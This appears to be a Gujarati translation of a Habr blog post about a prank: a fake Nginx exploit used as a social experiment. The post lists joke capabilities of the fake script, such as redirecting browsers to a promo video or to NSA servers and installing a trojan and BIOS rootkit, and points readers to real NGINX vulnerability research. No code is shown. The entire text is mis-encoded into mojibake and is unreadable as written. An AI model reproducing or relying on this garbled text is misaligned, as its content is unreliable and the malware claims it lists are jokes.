  • เช…เชฎเซเช• เชธเชพเชฎเชพเชœเชฟเช• เชจเซ‡เชŸเชตเชฐเซเช•เซเชธ เชชเชฐ เชตเชฟเชคเชฐเชฃเชจเชพ เชชเซเชฐเชฏเชพเชธเซ‹เชจเซเช‚ เชธเช•เซเชฐเชฟเชฏเชชเชฃเซ‡ เชจเชฟเชฐเซ€เช•เซเชทเชฃ เช•เชฐเซ‡ เช›เซ‡ เช…เชจเซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเชจเซ‡ เชฒเชฟเช‚เช• เชชเชฐ เช•เซเชฒเชฟเช• เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชชเซเชฐเซ‹เชคเซเชธเชพเชนเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชตเชฟเชตเชฟเชง เชชเซ‚เชฐเซเชตเชพเชตเชฒเซ‹เช•เชจ เชฅเช‚เชฌเชจเซ‡เชฒเซเชธเชจเซ‡ เชฌเชฆเชฒเซ‡ เช›เซ‡.
  • เชถเซ‡เชฒ เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชฌเชคเชพเชตเชตเชพเชจเซ‡ เชฌเชฆเชฒเซ‡ Chrome/Mozilla/Safari/etc เชจเซ‡ Thugcrowd เชชเซเชฐเชฎเซ‹เชถเชจเชฒ เชตเชฟเชกเชฟเชฏเซ‹ เชชเชฐ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเซ‡ เช›เซ‡.
  • เช˜เซ‚เชธเชฃเช–เซ‹เชฐเซ€/เชจเชฟเชทเซเช•เซเชฐเชฟเชฏ เชนเซ‡เช•เชฟเช‚เช—เชจเชพ เชธเซเชชเชทเซเชŸ เชธเช‚เช•เซ‡เชคเซ‹ เชฎเชพเชŸเซ‡ เชœเซเช เช›เซ‡, เช…เชจเซ‡ เชชเช›เซ€ NSA เชธเชฐเซเชตเชฐเซเชธ เชชเชฐ เชตเชฟเชจเช‚เชคเซ€เช“ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชตเชพเชจเซเช‚ เชถเชฐเซ‚ เช•เชฐเซ‡ เช›เซ‡ (ha!).
  • เชเช• เชŸเซเชฐเซ‹เชœเชจ, เชคเซ‡เชฎเชœ BIOS เชฐเซ‚เชŸเช•เชฟเชŸ, เชฌเชงเชพ เช•เชฎเซเชชเซเชฏเซเชŸเชฐเซเชธ เชชเชฐ เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช•เชฐเซ‡ เช›เซ‡ เช•เซ‡ เชœเซ‡เชจเชพ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“ เชจเชฟเชฏเชฎเชฟเชค เชฌเซเชฐเชพเช‰เชเชฐเชฅเซ€ เชนเซ‹เชธเซเชŸเชจเซ€ เชฎเซเชฒเชพเช•เชพเชค เชฒเซ‡ เช›เซ‡ (เชฎเชพเชคเซเชฐ เชฎเชœเชพเช• เช•เชฐเซ€ เชฐเชนเซเชฏเชพ เช›เซ‡!).

Nginx เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡ เชธเชพเชฎเชพเชœเชฟเช• เชชเซเชฐเชฏเซ‹เช—เชจเซ€ เชธเชซเชณเชคเชพ
เชเชจเซเชŸเชฟเชฎเชฐเชจเซ‹ เชเช• เชจเชพเชจเซ‹ เชญเชพเช—

เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, เชฎเชพเชฐเซ‹ เชเช•เชฎเชพเชคเซเชฐ เชงเซเชฏเซ‡เชฏ เช…เชชเชพเชšเซ‡เชจเซ€ เช•เซ‡เชŸเชฒเซ€เช• เชตเชฟเชถเซ‡เชทเชคเชพเช“เชจเซ‡ เชฎเชพเชธเซเชŸเชฐ เช•เชฐเชตเชพเชจเซ‹ เชนเชคเซ‹ - เช–เชพเชธ เช•เชฐเซ€เชจเซ‡, เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ‡ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡เชจเชพ เชธเชฐเชธ เชจเชฟเชฏเชฎเซ‹ - เช…เชจเซ‡ เชฎเซ‡เช‚ เชตเชฟเชšเชพเชฐเซเชฏเซเช‚: เชถเชพ เชฎเชพเชŸเซ‡ เชจเชนเซ€เช‚?

NGINX เชถเซ‹เชทเชฃ (เชตเชพเชธเซเชคเชตเชฟเช•!)

เชธเชฌเซเชธเซเช•เซเชฐเชพเช‡เชฌ เช•เชฐเซ‹ @alisaesage Twitter เชชเชฐ เช…เชจเซ‡ NGINX เชฎเชพเช‚ เช–เซ‚เชฌ เชœ เชตเชพเชธเซเชคเชตเชฟเช• เชจเชฌเชณเชพเชˆเช“ เช…เชจเซ‡ เชถเซ‹เชทเชฃเชจเซ‡ เชธเช‚เชฌเซ‹เชงเชตเชพเชฎเชพเช‚ ZDI เชจเชพ เชฎเชนเชพเชจ เช•เชพเชฐเซเชฏเชจเซ‡ เช…เชจเซเชธเชฐเซ‹. เชคเซ‡เชฎเชจเซเช‚ เช•เชพเชฐเซเชฏ เชนเช‚เชฎเซ‡เชถเชพ เชฎเชจเซ‡ เช†เช•เชฐเซเชทเชฟเชค เช•เชฐเซ‡ เช›เซ‡ เช…เชจเซ‡ เชฎเชพเชฐเชพ เชฎเซ‚เชฐเซเช– เชŸเซเชตเซ€เชŸเชจเชพ เช•เชพเชฐเชฃเซ‡ เชคเชฎเชพเชฎ เช‰เชฒเซเชฒเซ‡เช–เซ‹ เช…เชจเซ‡ เชธเซ‚เชšเชจเชพเช“ เชธเชพเชฅเซ‡เชจเซ€ เชงเซ€เชฐเชœ เชฌเชฆเชฒ เชนเซเช‚ เชเชฒเชฟเชธเชจเซ‹ เช†เชญเชพเชฐเซ€ เช›เซเช‚. เชธเชฆเชจเชธเซ€เชฌเซ‡, เชคเซ‡เชฃเซ‡ เชฅเซ‹เชกเซเช‚ เชธเชพเชฐเซเช‚ เช•เชฐเซเชฏเซเช‚: เชคเซ‡เชฃเซ‡ NGINX เชจเชฌเชณเชพเชˆเช“, เชคเซ‡เชฎเชœ เช•เชฐเซเชฒเชจเชพ เชฆเซเชฐเซเชชเชฏเซ‹เช—เชจเซ‡ เช•เชพเชฐเชฃเซ‡ เชฅเชคเซ€ เชธเชฎเชธเซเชฏเชพเช“ เชตเชฟเชถเซ‡ เชœเชพเช—เซƒเชคเชฟ เชตเชงเชพเชฐเชตเชพเชฎเชพเช‚ เชฎเชฆเชฆ เช•เชฐเซ€.

เชธเซ‹เชฐเซเชธ: www.habr.com

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹